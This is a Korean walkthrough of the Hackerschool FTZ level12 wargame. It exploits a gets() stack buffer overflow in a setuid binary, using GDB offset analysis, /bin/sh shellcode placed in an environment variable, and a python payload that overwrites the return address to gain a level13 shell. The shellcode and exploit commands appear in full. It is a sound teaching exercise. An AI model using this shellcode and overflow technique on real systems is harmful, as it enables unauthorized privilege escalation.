ID : level12
PW : it is like this
level12 접속!
[level12@ftz level12]$ ls
attackme hint public_html tmp
[level12@ftz level12]$ ls -al
total 96
drwxr-xr-x 4 root level12 4096 Mar 19 2003 .
drwxr-xr-x 34 root root 4096 Sep 10 2011 ..
-rwsr-x--- 1 level13 level12 13771 Mar 8 2003 attackme
-rw------- 1 root root 1 Jan 15 2010 .bash_history
-rw-r--r-- 1 root level12 24 Feb 24 2002 .bash_logout
-rw-r--r-- 1 root level12 224 Feb 24 2002 .bash_profile
-rw-r--r-- 1 root level12 151 Feb 24 2002 .bashrc
-rw-r--r-- 1 root level12 400 Jan 25 1999 .cshrc
-rw-r--r-- 1 root level12 4742 Jan 25 1999 .emacs
-r--r--r-- 1 root level12 319 Jan 25 1999 .gtkrc
-rw-r--r-- 1 root level12 100 Jan 25 1999 .gvimrc
-rw-r----- 1 root level12 204 Mar 8 2003 hint
-rw-r--r-- 1 root level12 226 Jan 25 1999 .muttrc
-rw-r--r-- 1 root level12 367 Jan 25 1999 .profile
drwxr-xr-x 2 root level12 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level12 4096 Jul 3 14:13 tmp
-rw-r--r-- 1 root root 1 May 7 2002 .viminfo
-rw-r--r-- 1 root level12 4145 Jan 25 1999 .vimrc
-rw-r--r-- 1 root level12 245 Jan 25 1999 .Xdefaults
힌트를 읽어봅시다.
[level12@ftz level12]$ cat hint
#include
#include
#include
int main( void )
{
char str[256];
setreuid( 3093, 3093 );
printf( "문장을 입력하세요.\n" );
gets( str );
printf( "%s\n", str );
}
전 레벨과는 다르게 프로그램이 시작한 후, gets를 통해 str변수에 입력을 받게 됩니다.
역시 입력 크기를 지정해주지 않았기 때문에 원하는 만큼 입력을 할 수 있습니다.
그냥 한번 실행해봅시다.
[level12@ftz level12]$ ./attackme
문장을 입력하세요.
AAAA
AAAA
코드와 같이 str변수에 입력을 받고 출력하는 것을 볼 수 있습니다.
GDB로 분석해봅시다.
[level12@ftz level12]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>: push ebp
0x08048471 <main+1>: mov ebp,esp
0x08048473 <main+3>: sub esp,0x108
0x08048479 <main+9>: sub esp,0x8
0x0804847c <main+12>: push 0xc15
0x08048481 <main+17>: push 0xc15
0x08048486 <main+22>: call 0x804835c <setreuid>
0x0804848b <main+27>: add esp,0x10
0x0804848e <main+30>: sub esp,0xc
0x08048491 <main+33>: push 0x8048538
0x08048496 <main+38>: call 0x804834c <printf>
0x0804849b <main+43>: add esp,0x10
0x0804849e <main+46>: sub esp,0xc
0x080484a1 <main+49>: lea eax,[ebp-264]
0x080484a7 <main+55>: push eax
0x080484a8 <main+56>: call 0x804831c <gets>
0x080484ad <main+61>: add esp,0x10
0x080484b0 <main+64>: sub esp,0x8
0x080484b3 <main+67>: lea eax,[ebp-264]
0x080484b9 <main+73>: push eax
0x080484ba <main+74>: push 0x804854c <printf>
0x080484bf <main+79>: call 0x804834c
0x080484c4 <main+84>: add esp,0x10
0x080484c7 <main+87>: leave
0x080484c8 <main+88>: ret
0x080484c9 <main+89>: lea esi,[esi]
0x080484cc <main+92>: nop
0x080484cd <main+93>: nop
0x080484ce <main+94>: nop
0x080484cf <main+95>: nop
End of assembler dump.
str변수가 ebp로부터 264byte만큼 떨어져 있는 것을 알 수 있습니다.
그래서 SFP(4byte)를 포함한 268byte를 입력하게 되면, 그 다음 RET를 조작할 수 있습니다.
level11과 같이 export를 통해 환경변수에 쉘을 올려주고 RET에 환경변수의 주소를 넣어주면 됩니다.
환경변수와 쉘코드의 대한 설명은 이전 단계에서 했으므로 생략하겠습니다.
* 환경변수? -> https://she11.tistory.com/22
[level12@ftz level12]$ export env=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"')
[level12@ftz level12]$ export
declare -x BASH_ENV="/home/level12/.bashrc"
declare -x G_BROKEN_FILENAMES="1"
declare -x HISTSIZE="1000"
declare -x HOME="/home/level12"
declare -x HOSTNAME="ftz.hackerschool.org"
declare -x INPUTRC="/etc/inputrc"
declare -x LANG="en_US.UTF-8"
declare -x LESSOPEN="|/usr/bin/lesspipe.sh %s"
declare -x LOGNAME="level12"
declare -x LS_COLORS="no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=00;32:*.cmd=00;32:*.exe=00;32:*.com=00;32:*.btm=00;32:*.bat=00;32:*.sh=00;32:*.csh=00;32:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zip=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2=00;31:*.bz=00;31:*.tz=00;31:*.rpm=00;31:*.cpio=00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;35:*.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35:"
declare -x MAIL="/var/spool/mail/level12"
declare -x OLDPWD
declare -x PATH="/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/level12/bin"
declare -x PS1="[\\u@\\h \\W]\$ "
declare -x PWD="/home/level12"
declare -x SHELL="/bin/bash"
declare -x SHLVL="1"
declare -x SSH_CLIENT="192.168.10.1 5745 22"
declare -x SSH_CONNECTION="192.168.10.1 5745 192.168.10.244 22"
declare -x SSH_TTY="/dev/pts/0"
declare -x TERM="xterm"
declare -x USER="level12"
declare -x env="1육1??횋?육F?1픐h//shh/bin??S??째
?1육?"
[level12@ftz tmp]$ vi env.c
#include
int main(){
printf("%p\n",getenv("env"));
return 0;
}
[level12@ftz tmp]$ gcc -o env env.c
[level12@ftz tmp]$ ls
env env.c
[level12@ftz tmp]$ ./env
0xbfffff3f
이제 268byte를 채우고 환경변수가 있는 주소 0xbfffff3f를 입력해봅시다.
[level12@ftz level12]$ (python -c 'print "A"*268 +"\x3f\xff\xff\xbf"';cat)|./attackme
문장을 입력하세요.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?
id
uid=3093(level13) gid=3092(level12) groups=3092(level12)
* 프로그램을 시작하면서 인자를 같이 주는 것이 아니고, 프로그램이 시작한 후 입력을 받는 형태입니다.
* python print로 입력할 문자열을 읽고, attackme의 입력값으로 넣어줍니다.
아무런 반응이 없는 것 같지만 명령어를 쓰면 먹히는 것을 확인할 수 있습니다.
my-pass를 치면 다음 레벨 비밀번호를 얻을 수 있습니다.
my-pass
TERM environment variable not set.
Level13 Password is
클리어!